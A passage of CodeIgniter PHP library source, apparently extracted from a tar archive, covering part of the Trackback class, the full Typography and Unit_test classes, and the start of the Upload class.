$this->set_error('The following required POST variable is missing: '.$val); return FALSE; } $this->data['charset'] = isset($_POST['charset']) ? strtoupper(trim($_POST['charset'])) : 'auto'; if ($val !== 'url' && MB_ENABLED === TRUE) { if (MB_ENABLED === TRUE) { $_POST[$val] = mb_convert_encoding($_POST[$val], $this->charset, $this->data['charset']); } elseif (ICONV_ENABLED === TRUE) { $_POST[$val] = @iconv($this->data['charset'], $this->charset.'//IGNORE', $_POST[$val]); } } $_POST[$val] = ($val !== 'url') ? $this->convert_xml(strip_tags($_POST[$val])) : strip_tags($_POST[$val]); if ($val === 'excerpt') { $_POST['excerpt'] = $this->limit_characters($_POST['excerpt']); } $this->data[$val] = $_POST[$val]; } return TRUE; } // -------------------------------------------------------------------- /** * Send Trackback Error Message * * Allows custom errors to be set. By default it * sends the "incomplete information" error, as that's * the most common one. * * @param string * @return void */ public function send_error($message = 'Incomplete Information') { exit('<?xml version="1.0" encoding="utf-8"?'.">\n<response>\n<error>1</error>\n<message>".$message."</message>\n</response>"); } // -------------------------------------------------------------------- /** * Send Trackback Success Message * * This should be called when a trackback has been * successfully received and inserted. * * @return void */ public function send_success() { exit('<?xml version="1.0" encoding="utf-8"?'.">\n<response>\n<error>0</error>\n</response>"); } // -------------------------------------------------------------------- /** * Fetch a particular item * * @param string * @return string */ public function data($item) { return isset($this->data[$item]) ? $this->data[$item] : ''; } // -------------------------------------------------------------------- /** * Process Trackback * * Opens a socket connection and passes the data to * the server. Returns TRUE on success, FALSE on failure * * @param string * @param string * @return bool */ public function process($url, $data) { $target = parse_url($url); // Open the socket if ( ! $fp = @fsockopen($target['host'], 80)) { $this->set_error('Invalid Connection: '.$url); return FALSE; } // Build the path $path = isset($target['path']) ? $target['path'] : $url; empty($target['query']) OR $path .= '?'.$target['query']; // Add the Trackback ID to the data string if ($id = $this->get_id($url)) { $data = 'tb_id='.$id.'&'.$data; } // Transfer the data fputs($fp, 'POST '.$path." HTTP/1.0\r\n"); fputs($fp, 'Host: '.$target['host']."\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, 'Content-length: '.strlen($data)."\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $data); // Was it successful? $this->response = ''; while ( ! feof($fp)) { $this->response .= fgets($fp, 128); } @fclose($fp); if (stripos($this->response, '<error>0</error>') === FALSE) { $message = preg_match('/<message>(.*?)<\/message>/is', $this->response, $match) ? trim($match[1]) : 'An unknown error was encountered'; $this->set_error($message); return FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Extract Trackback URLs * * This function lets multiple trackbacks be sent. * It takes a string of URLs (separated by comma or * space) and puts each URL into an array * * @param string * @return string */ public function extract_urls($urls) { // Remove the pesky white space and replace with a comma, then replace doubles. $urls = str_replace(',,', ',', preg_replace('/\s*(\S+)\s*/', '\\1,', $urls)); // Break into an array via commas and remove duplicates $urls = array_unique(preg_split('/[,]/', rtrim($urls, ','))); array_walk($urls, array($this, 'validate_url')); return $urls; } // -------------------------------------------------------------------- /** * Validate URL * * Simply adds "http://" if missing * * @param string * @return void */ public function validate_url(&$url) { $url = trim($url); if (stripos($url, 'http') !== 0) { $url = 'http://'.$url; } } // -------------------------------------------------------------------- /** * Find the Trackback URL's ID * * @param string * @return string */ public function get_id($url) { $tb_id = ''; if (strpos($url, '?') !== FALSE) { $tb_array = explode('/', $url); $tb_end = $tb_array[count($tb_array)-1]; if ( ! is_numeric($tb_end)) { $tb_end = $tb_array[count($tb_array)-2]; } $tb_array = explode('=', $tb_end); $tb_id = $tb_array[count($tb_array)-1]; } else { $url = rtrim($url, '/'); $tb_array = explode('/', $url); $tb_id = $tb_array[count($tb_array)-1]; if ( ! is_numeric($tb_id)) { $tb_id = $tb_array[count($tb_array)-2]; } } return ctype_digit((string) $tb_id) ? $tb_id : FALSE; } // -------------------------------------------------------------------- /** * Convert Reserved XML characters to Entities * * @param string * @return string */ public function convert_xml($str) { $temp = '__TEMP_AMPERSANDS__'; $str = preg_replace(array('/&#(\d+);/', '/&(\w+);/'), $temp.'\\1;', $str); $str = str_replace(array('&', '<', '>', '"', "'", '-'), array('&', '<', '>', '"', ''', '-'), $str); return preg_replace(array('/'.$temp.'(\d+);/', '/'.$temp.'(\w+);/'), array('&#\\1;', '&\\1;'), $str); } // -------------------------------------------------------------------- /** * Character limiter * * Limits the string based on the character count. Will preserve complete words. * * @param string * @param int * @param string * @return string */ public function limit_characters($str, $n = 500, $end_char = '…') { if (strlen($str) < $n) { return $str; } $str = preg_replace('/\s+/', ' ', str_replace(array("\r\n", "\r", "\n"), ' ', $str)); if (strlen($str) <= $n) { return $str; } $out = ''; foreach (explode(' ', trim($str)) as $val) { $out .= $val.' '; if (strlen($out) >= $n) { return rtrim($out).$end_char; } } } // -------------------------------------------------------------------- /** * High ASCII to Entities * * Converts Hight ascii text and MS Word special chars * to character entities * * @param string * @return string */ public function convert_ascii($str) { $count = 1; $out = ''; $temp = array(); for ($i = 0, $s = strlen($str); $i < $s; $i++) { $ordinal = ord($str[$i]); if ($ordinal < 128) { $out .= $str[$i]; } else { if (count($temp) === 0) { $count = ($ordinal < 224) ? 2 : 3; } $temp[] = $ordinal; if (count($temp) === $count) { $number = ($count === 3) ? (($temp[0] % 16) * 4096) + (($temp[1] % 64) * 64) + ($temp[2] % 64) : (($temp[0] % 32) * 64) + ($temp[1] % 64); $out .= '&#'.$number.';'; $count = 1; $temp = array(); } } } return $out; } // -------------------------------------------------------------------- /** * Set error message * * @param string * @return void */ public function set_error($msg) { log_message('error', $msg); $this->error_msg[] = $msg; } // -------------------------------------------------------------------- /** * Show error messages * * @param string * @param string * @return string */ public function display_errors($open = '<p>', $close = '</p>') { return (count($this->error_msg) > 0) ? $open.implode($close.$open, $this->error_msg).$close : ''; } } Typography.php 0000775 00000033012 15060054572 0007433 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Typography Class * * @package CodeIgniter * @subpackage Libraries * @category Helpers * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/typography.html */ class CI_Typography { /** * Block level elements that should not be wrapped inside <p> tags * * @var string */ public $block_elements = 'address|blockquote|div|dl|fieldset|form|h\d|hr|noscript|object|ol|p|pre|script|table|ul'; /** * Elements that should not have <p> and <br /> tags within them. * * @var string */ public $skip_elements = 'p|pre|ol|ul|dl|object|table|h\d'; /** * Tags we want the parser to completely ignore when splitting the string. * * @var string */ public $inline_elements = 'a|abbr|acronym|b|bdo|big|br|button|cite|code|del|dfn|em|i|img|ins|input|label|map|kbd|q|samp|select|small|span|strong|sub|sup|textarea|tt|var'; /** * array of block level elements that require inner content to be within another block level element * * @var array */ public $inner_block_required = array('blockquote'); /** * the last block element parsed * * @var string */ public $last_block_element = ''; /** * whether or not to protect quotes within { curly braces } * * @var bool */ public $protect_braced_quotes = FALSE; /** * Auto Typography * * This function converts text, making it typographically correct: * - Converts double spaces into paragraphs. * - Converts single line breaks into <br /> tags * - Converts single and double quotes into correctly facing curly quote entities. * - Converts three dots into ellipsis. * - Converts double dashes into em-dashes. * - Converts two spaces into entities * * @param string * @param bool whether to reduce more then two consecutive newlines to two * @return string */ public function auto_typography($str, $reduce_linebreaks = FALSE) { if ($str === '') { return ''; } // Standardize Newlines to make matching easier if (strpos($str, "\r") !== FALSE) { $str = str_replace(array("\r\n", "\r"), "\n", $str); } // Reduce line breaks. If there are more than two consecutive linebreaks // we'll compress them down to a maximum of two since there's no benefit to more. if ($reduce_linebreaks === TRUE) { $str = preg_replace("/\n\n+/", "\n\n", $str); } // HTML comment tags don't conform to patterns of normal tags, so pull them out separately, only if needed $html_comments = array(); if (strpos($str, '<!--') !== FALSE && preg_match_all('#(<!\-\-.*?\-\->)#s', $str, $matches)) { for ($i = 0, $total = count($matches[0]); $i < $total; $i++) { $html_comments[] = $matches[0][$i]; $str = str_replace($matches[0][$i], '{@HC'.$i.'}', $str); } } // match and yank <pre> tags if they exist. It's cheaper to do this separately since most content will // not contain <pre> tags, and it keeps the PCRE patterns below simpler and faster if (strpos($str, '<pre') !== FALSE) { $str = preg_replace_callback('#<pre.*?>.*?</pre>#si', array($this, '_protect_characters'), $str); } // Convert quotes within tags to temporary markers. $str = preg_replace_callback('#<.+?>#si', array($this, '_protect_characters'), $str); // Do the same with braces if necessary if ($this->protect_braced_quotes === TRUE) { $str = preg_replace_callback('#\{.+?\}#si', array($this, '_protect_characters'), $str); } // Convert "ignore" tags to temporary marker. The parser splits out the string at every tag // it encounters. Certain inline tags, like image tags, links, span tags, etc. will be // adversely affected if they are split out so we'll convert the opening bracket < temporarily to: {@TAG} $str = preg_replace('#<(/*)('.$this->inline_elements.')([ >])#i', '{@TAG}\\1\\2\\3', $str); /* Split the string at every tag. This expression creates an array with this prototype: * * [array] * { * [0] = <opening tag> * [1] = Content... * [2] = <closing tag> * Etc... * } */ $chunks = preg_split('/(<(?:[^<>]+(?:"[^"]*"|\'[^\']*\')?)+>)/', $str, -1, PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY); // Build our finalized string. We cycle through the array, skipping tags, and processing the contained text $str = ''; $process = TRUE; for ($i = 0, $c = count($chunks) - 1; $i <= $c; $i++) { // Are we dealing with a tag? If so, we'll skip the processing for this cycle. // Well also set the "process" flag which allows us to skip <pre> tags and a few other things. if (preg_match('#<(/*)('.$this->block_elements.').*?>#', $chunks[$i], $match)) { if (preg_match('#'.$this->skip_elements.'#', $match[2])) { $process = ($match[1] === '/'); } if ($match[1] === '') { $this->last_block_element = $match[2]; } $str .= $chunks[$i]; continue; } if ($process === FALSE) { $str .= $chunks[$i]; continue; } // Force a newline to make sure end tags get processed by _format_newlines() if ($i === $c) { $chunks[$i] .= "\n"; } // Convert Newlines into <p> and <br /> tags $str .= $this->_format_newlines($chunks[$i]); } // No opening block level tag? Add it if needed. if ( ! preg_match('/^\s*<(?:'.$this->block_elements.')/i', $str)) { $str = preg_replace('/^(.*?)<('.$this->block_elements.')/i', '<p>$1</p><$2', $str); } // Convert quotes, elipsis, em-dashes, non-breaking spaces, and ampersands $str = $this->format_characters($str); // restore HTML comments for ($i = 0, $total = count($html_comments); $i < $total; $i++) { // remove surrounding paragraph tags, but only if there's an opening paragraph tag // otherwise HTML comments at the ends of paragraphs will have the closing tag removed // if '<p>{@HC1}' then replace <p>{@HC1}</p> with the comment, else replace only {@HC1} with the comment $str = preg_replace('#(?(?=<p>\{@HC'.$i.'\})<p>\{@HC'.$i.'\}(\s*</p>)|\{@HC'.$i.'\})#s', $html_comments[$i], $str); } // Final clean up $table = array( // If the user submitted their own paragraph tags within the text // we will retain them instead of using our tags. '/(<p[^>*?]>)<p>/' => '$1', // <?php BBEdit syntax coloring bug fix // Reduce multiple instances of opening/closing paragraph tags to a single one '#(</p>)+#' => '</p>', '/(<p>\W*<p>)+/' => '<p>', // Clean up stray paragraph tags that appear before block level elements '#<p></p><('.$this->block_elements.')#' => '<$1', // Clean up stray non-breaking spaces preceeding block elements '#( \s*)+<('.$this->block_elements.')#' => ' <$2', // Replace the temporary markers we added earlier '/\{@TAG\}/' => '<', '/\{@DQ\}/' => '"', '/\{@SQ\}/' => "'", '/\{@DD\}/' => '--', '/\{@NBS\}/' => ' ', // An unintended consequence of the _format_newlines function is that // some of the newlines get truncated, resulting in <p> tags // starting immediately after <block> tags on the same line. // This forces a newline after such occurrences, which looks much nicer. "/><p>\n/" => ">\n<p>", // Similarly, there might be cases where a closing </block> will follow // a closing </p> tag, so we'll correct it by adding a newline in between '#</p></#' => "</p>\n</" ); // Do we need to reduce empty lines? if ($reduce_linebreaks === TRUE) { $table['#<p>\n*</p>#'] = ''; } else { // If we have empty paragraph tags we add a non-breaking space // otherwise most browsers won't treat them as true paragraphs $table['#<p></p>#'] = '<p> </p>'; } return preg_replace(array_keys($table), $table, $str); } // -------------------------------------------------------------------- /** * Format Characters * * This function mainly converts double and single quotes * to curly entities, but it also converts em-dashes, * double spaces, and ampersands * * @param string * @return string */ public function format_characters($str) { static $table; if ( ! isset($table)) { $table = array( // nested smart quotes, opening and closing // note that rules for grammar (English) allow only for two levels deep // and that single quotes are _supposed_ to always be on the outside // but we'll accommodate both // Note that in all cases, whitespace is the primary determining factor // on which direction to curl, with non-word characters like punctuation // being a secondary factor only after whitespace is addressed. '/\'"(\s|$)/' => '’”$1', '/(^|\s|<p>)\'"/' => '$1‘“', '/\'"(\W)/' => '’”$1', '/(\W)\'"/' => '$1‘“', '/"\'(\s|$)/' => '”’$1', '/(^|\s|<p>)"\'/' => '$1“‘', '/"\'(\W)/' => '”’$1', '/(\W)"\'/' => '$1“‘', // single quote smart quotes '/\'(\s|$)/' => '’$1', '/(^|\s|<p>)\'/' => '$1‘', '/\'(\W)/' => '’$1', '/(\W)\'/' => '$1‘', // double quote smart quotes '/"(\s|$)/' => '”$1', '/(^|\s|<p>)"/' => '$1“', '/"(\W)/' => '”$1', '/(\W)"/' => '$1“', // apostrophes "/(\w)'(\w)/" => '$1’$2', // Em dash and ellipses dots '/\s?\-\-\s?/' => '—', '/(\w)\.{3}/' => '$1…', // double space after sentences '/(\W) /' => '$1 ', // ampersands, if not a character entity '/&(?!#?[a-zA-Z0-9]{2,};)/' => '&' ); } return preg_replace(array_keys($table), $table, $str); } // -------------------------------------------------------------------- /** * Format Newlines * * Converts newline characters into either <p> tags or <br /> * * @param string * @return string */ protected function _format_newlines($str) { if ($str === '' OR (strpos($str, "\n") === FALSE && ! in_array($this->last_block_element, $this->inner_block_required))) { return $str; } // Convert two consecutive newlines to paragraphs $str = str_replace("\n\n", "</p>\n\n<p>", $str); // Convert single spaces to <br /> tags $str = preg_replace("/([^\n])(\n)([^\n])/", '\\1<br />\\2\\3', $str); // Wrap the whole enchilada in enclosing paragraphs if ($str !== "\n") { // We trim off the right-side new line so that the closing </p> tag // will be positioned immediately following the string, matching // the behavior of the opening <p> tag $str = '<p>'.rtrim($str).'</p>'; } // Remove empty paragraphs if they are on the first line, as this // is a potential unintended consequence of the previous code return preg_replace('/<p><\/p>(.*)/', '\\1', $str, 1); } // ------------------------------------------------------------------------ /** * Protect Characters * * Protects special characters from being formatted later * We don't want quotes converted within tags so we'll temporarily convert them to {@DQ} and {@SQ} * and we don't want double dashes converted to emdash entities, so they are marked with {@DD} * likewise double spaces are converted to {@NBS} to prevent entity conversion * * @param array * @return string */ protected function _protect_characters($match) { return str_replace(array("'",'"','--',' '), array('{@SQ}', '{@DQ}', '{@DD}', '{@NBS}'), $match[0]); } // -------------------------------------------------------------------- /** * Convert newlines to HTML line breaks except within PRE tags * * @param string * @return string */ public function nl2br_except_pre($str) { $newstr = ''; for ($ex = explode('pre>', $str), $ct = count($ex), $i = 0; $i < $ct; $i++) { $newstr .= (($i % 2) === 0) ? nl2br($ex[$i]) : $ex[$i]; if ($ct - 1 !== $i) { $newstr .= 'pre>'; } } return $newstr; } } Unit_test.php 0000775 00000021406 15060054572 0007247 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.1 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Unit Testing Class * * Simple testing class * * @package CodeIgniter * @subpackage Libraries * @category UnitTesting * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/unit_testing.html */ class CI_Unit_test { /** * Active flag * * @var bool */ public $active = TRUE; /** * Test results * * @var array */ public $results = array(); /** * Strict comparison flag * * Whether to use === or == when comparing * * @var bool */ public $strict = FALSE; /** * Template * * @var string */ protected $_template = NULL; /** * Template rows * * @var string */ protected $_template_rows = NULL; /** * List of visible test items * * @var array */ protected $_test_items_visible = array( 'test_name', 'test_datatype', 'res_datatype', 'result', 'file', 'line', 'notes' ); // -------------------------------------------------------------------- /** * Constructor * * @return void */ public function __construct() { log_message('info', 'Unit Testing Class Initialized'); } // -------------------------------------------------------------------- /** * Run the tests * * Runs the supplied tests * * @param array $items * @return void */ public function set_test_items($items) { if ( ! empty($items) && is_array($items)) { $this->_test_items_visible = $items; } } // -------------------------------------------------------------------- /** * Run the tests * * Runs the supplied tests * * @param mixed $test * @param mixed $expected * @param string $test_name * @param string $notes * @return string */ public function run($test, $expected = TRUE, $test_name = 'undefined', $notes = '') { if ($this->active === FALSE) { return FALSE; } if (in_array($expected, array('is_object', 'is_string', 'is_bool', 'is_true', 'is_false', 'is_int', 'is_numeric', 'is_float', 'is_double', 'is_array', 'is_null', 'is_resource'), TRUE)) { $result = $expected($test); $extype = str_replace(array('true', 'false'), 'bool', str_replace('is_', '', $expected)); } else { $result = ($this->strict === TRUE) ? ($test === $expected) : ($test == $expected); $extype = gettype($expected); } $back = $this->_backtrace(); $report = array ( 'test_name' => $test_name, 'test_datatype' => gettype($test), 'res_datatype' => $extype, 'result' => ($result === TRUE) ? 'passed' : 'failed', 'file' => $back['file'], 'line' => $back['line'], 'notes' => $notes ); $this->results[] = $report; return $this->report($this->result(array($report))); } // -------------------------------------------------------------------- /** * Generate a report * * Displays a table with the test data * * @param array $result * @return string */ public function report($result = array()) { if (count($result) === 0) { $result = $this->result(); } $CI =& get_instance(); $CI->load->language('unit_test'); $this->_parse_template(); $r = ''; foreach ($result as $res) { $table = ''; foreach ($res as $key => $val) { if ($key === $CI->lang->line('ut_result')) { if ($val === $CI->lang->line('ut_passed')) { $val = '<span style="color: #0C0;">'.$val.'</span>'; } elseif ($val === $CI->lang->line('ut_failed')) { $val = '<span style="color: #C00;">'.$val.'</span>'; } } $table .= str_replace(array('{item}', '{result}'), array($key, $val), $this->_template_rows); } $r .= str_replace('{rows}', $table, $this->_template); } return $r; } // -------------------------------------------------------------------- /** * Use strict comparison * * Causes the evaluation to use === rather than == * * @param bool $state * @return void */ public function use_strict($state = TRUE) { $this->strict = (bool) $state; } // -------------------------------------------------------------------- /** * Make Unit testing active * * Enables/disables unit testing * * @param bool * @return void */ public function active($state = TRUE) { $this->active = (bool) $state; } // -------------------------------------------------------------------- /** * Result Array * * Returns the raw result data * * @param array $results * @return array */ public function result($results = array()) { $CI =& get_instance(); $CI->load->language('unit_test'); if (count($results) === 0) { $results = $this->results; } $retval = array(); foreach ($results as $result) { $temp = array(); foreach ($result as $key => $val) { if ( ! in_array($key, $this->_test_items_visible)) { continue; } elseif (in_array($key, array('test_name', 'test_datatype', 'res_datatype', 'result'), TRUE)) { if (FALSE !== ($line = $CI->lang->line(strtolower('ut_'.$val), FALSE))) { $val = $line; } } $temp[$CI->lang->line('ut_'.$key, FALSE)] = $val; } $retval[] = $temp; } return $retval; } // -------------------------------------------------------------------- /** * Set the template * * This lets us set the template to be used to display results * * @param string * @return void */ public function set_template($template) { $this->_template = $template; } // -------------------------------------------------------------------- /** * Generate a backtrace * * This lets us show file names and line numbers * * @return array */ protected function _backtrace() { $back = debug_backtrace(); return array( 'file' => (isset($back[1]['file']) ? $back[1]['file'] : ''), 'line' => (isset($back[1]['line']) ? $back[1]['line'] : '') ); } // -------------------------------------------------------------------- /** * Get Default Template * * @return string */ protected function _default_template() { $this->_template = "\n".'<table style="width:100%; font-size:small; margin:10px 0; border-collapse:collapse; border:1px solid #CCC;">{rows}'."\n</table>"; $this->_template_rows = "\n\t<tr>\n\t\t".'<th style="text-align: left; border-bottom:1px solid #CCC;">{item}</th>' ."\n\t\t".'<td style="border-bottom:1px solid #CCC;">{result}</td>'."\n\t</tr>"; } // -------------------------------------------------------------------- /** * Parse Template * * Harvests the data within the template {pseudo-variables} * * @return void */ protected function _parse_template() { if ($this->_template_rows !== NULL) { return; } if ($this->_template === NULL OR ! preg_match('/\{rows\}(.*?)\{\/rows\}/si', $this->_template, $match)) { $this->_default_template(); return; } $this->_template_rows = $match[1]; $this->_template = str_replace($match[0], '{rows}', $this->_template); } } /** * Helper function to test boolean TRUE * * @param mixed $test * @return bool */ function is_true($test) { return ($test === TRUE); } /** * Helper function to test boolean FALSE * * @param mixed $test * @return bool */ function is_false($test) { return ($test === FALSE); } Upload.php 0000775 00000073763 15060054572 0006532 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * File Uploading Class * * @package CodeIgniter * @subpackage Libraries * @category Uploads * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/file_uploading.html */ class CI_Upload { /** * Maximum file size * * @var int */ public $max_size = 0; /** * Maximum image width * * @var int */ public $max_width = 0; /** * Maximum image height * * @var int */ public $max_height = 0; /** * Minimum image width * * @var int */ public $min_width = 0; /** * Minimum image height * * @var int */ public $min_height = 0; /** * Maximum filename length * * @var int */ public $max_filename = 0; /** * Maximum duplicate filename increment ID * * @var int */ public $max_filename_increment = 100; /** * Allowed file types * * @var string */ public $allowed_types = ''; /** * Temporary filename * * @var string */ public $file_temp = ''; /** * Filename * * @var string */ public $file_name = ''; /** * Original filename * * @var string */ public $orig_name = ''; /** * File type * * @var string */ public $file_type = ''; /** * File size * * @var int */ public $file_size = NULL; /** * Filename extension * * @var string */ public $file_ext = ''; /** * Force filename extension to lowercase * * @var string */ public $file_ext_tolower = FALSE; /** * Upload path * * @var string */ public $upload_path = ''; /** * Overwrite flag * * @var bool */ public $overwrite = FALSE; /** * Obfuscate filename flag * * @var bool */ public $encrypt_name = FALSE; /** * Is image flag * * @var bool */ public $is_image = FALSE; /** * Image width * * @var int */ public $image_width = NULL; /** * Image height * * @var int */ public $image_height = NULL; /** * Image type * * @var string */ public $image_type = ''; /** * Image size string * * @var string */ public $image_size_str = ''; /** * Error messages list * * @var array */ public $error_msg = array(); /** * Remove spaces flag * * @var bool */ public $remove_spaces = TRUE; /** * MIME detection flag * * @var bool */ public $detect_mime = TRUE; /** * XSS filter flag * * @var bool */ public $xss_clean = FALSE; /** * Apache mod_mime fix flag * * @var bool */ public $mod_mime_fix = TRUE; /** * Temporary filename prefix * * @var string */ public $temp_prefix = 'temp_file_'; /** * Filename sent by the client * * @var bool */ public $client_name = ''; // -------------------------------------------------------------------- /** * Filename override * * @var string */ protected $_file_name_override = ''; /** * MIME types list * * @var array */ protected $_mimes = array(); /** * CI Singleton * * @var object */ protected $_CI; // -------------------------------------------------------------------- /** * Constructor * * @param array $config * @return void */ public function __construct($config = array()) { empty($config) OR $this->initialize($config, FALSE); $this->_mimes =& get_mimes(); $this->_CI =& get_instance(); log_message('info', 'Upload Class Initialized'); } // -------------------------------------------------------------------- /** * Initialize preferences * * @param array $config * @param bool $reset * @return CI_Upload */ public function initialize(array $config = array(), $reset = TRUE) { $reflection = new ReflectionClass($this); if ($reset === TRUE) { $defaults = $reflection->getDefaultProperties(); foreach (array_keys($defaults) as $key) { if ($key[0] === '_') { continue; } if (isset($config[$key])) { if ($reflection->hasMethod('set_'.$key)) { $this->{'set_'.$key}($config[$key]); } else { $this->$key = $config[$key]; } } else { $this->$key = $defaults[$key]; } } } else { foreach ($config as $key => &$value) { if ($key[0] !== '_' && $reflection->hasProperty($key)) { if ($reflection->hasMethod('set_'.$key)) { $this->{'set_'.$key}($value); } else { $this->$key = $value; } } } } // if a file_name was provided in the config, use it instead of the user input // supplied file name for all uploads until initialized again $this->_file_name_override = $this->file_name; return $this; } // -------------------------------------------------------------------- /** * Perform the file upload * * @param string $field * @return bool */ public function do_upload($field = 'userfile') { // Is $_FILES[$field] set? If not, no reason to continue. if (isset($_FILES[$field])) { $_file = $_FILES[$field]; } // Does the field name contain array notation? elseif (($c = preg_match_all('/(?:^[^\[]+)|\[[^]]*\]/', $field, $matches)) > 1) { $_file = $_FILES; for ($i = 0; $i < $c; $i++) { // We can't track numeric iterations, only full field names are accepted if (($field = trim($matches[0][$i], '[]')) === '' OR ! isset($_file[$field])) { $_file = NULL; break; } $_file = $_file[$field]; } } if ( ! isset($_file)) { $this->set_error('upload_no_file_selected', 'debug'); return FALSE; } // Is the upload path valid? if ( ! $this->validate_upload_path()) { // errors will already be set by validate_upload_path() so just return FALSE return FALSE; } // Was the file able to be uploaded? If not, determine the reason why. if ( ! is_uploaded_file($_file['tmp_name'])) { $error = isset($_file['error']) ? $_file['error'] : 4; switch ($error) { case UPLOAD_ERR_INI_SIZE: $this->set_error('upload_file_exceeds_limit', 'info'); break; case UPLOAD_ERR_FORM_SIZE: $this->set_error('upload_file_exceeds_form_limit', 'info'); break; case UPLOAD_ERR_PARTIAL: $this->set_error('upload_file_partial', 'debug'); break; case UPLOAD_ERR_NO_FILE: $this->set_error('upload_no_file_selected', 'debug'); break; case UPLOAD_ERR_NO_TMP_DIR: $this->set_error('upload_no_temp_directory', 'error'); break; case UPLOAD_ERR_CANT_WRITE: $this->set_error('upload_unable_to_write_file', 'error'); break; case UPLOAD_ERR_EXTENSION: $this->set_error('upload_stopped_by_extension', 'debug'); break; default: $this->set_error('upload_no_file_selected', 'debug'); break; } return FALSE; } // Set the uploaded data as class variables $this->file_temp = $_file['tmp_name']; $this->file_size = $_file['size']; // Skip MIME type detection? if ($this->detect_mime !== FALSE) { $this->_file_mime_type($_file); } $this->file_type = preg_replace('/^(.+?);.*$/', '\\1', $this->file_type); $this->file_type = strtolower(trim(stripslashes($this->file_type), '"')); $this->file_name = $this->_prep_filename($_file['name']); $this->file_ext = $this->get_extension($this->file_name); $this->client_name = $this->file_name; // Is the file type allowed to be uploaded? if ( ! $this->is_allowed_filetype()) { $this->set_error('upload_invalid_filetype', 'debug'); return FALSE; } // if we're overriding, let's now make sure the new name and type is allowed if ($this->_file_name_override !== '') { $this->file_name = $this->_prep_filename($this->_file_name_override); // If no extension was provided in the file_name config item, use the uploaded one if (strpos($this->_file_name_override, '.') === FALSE) { $this->file_name .= $this->file_ext; } else { // An extension was provided, 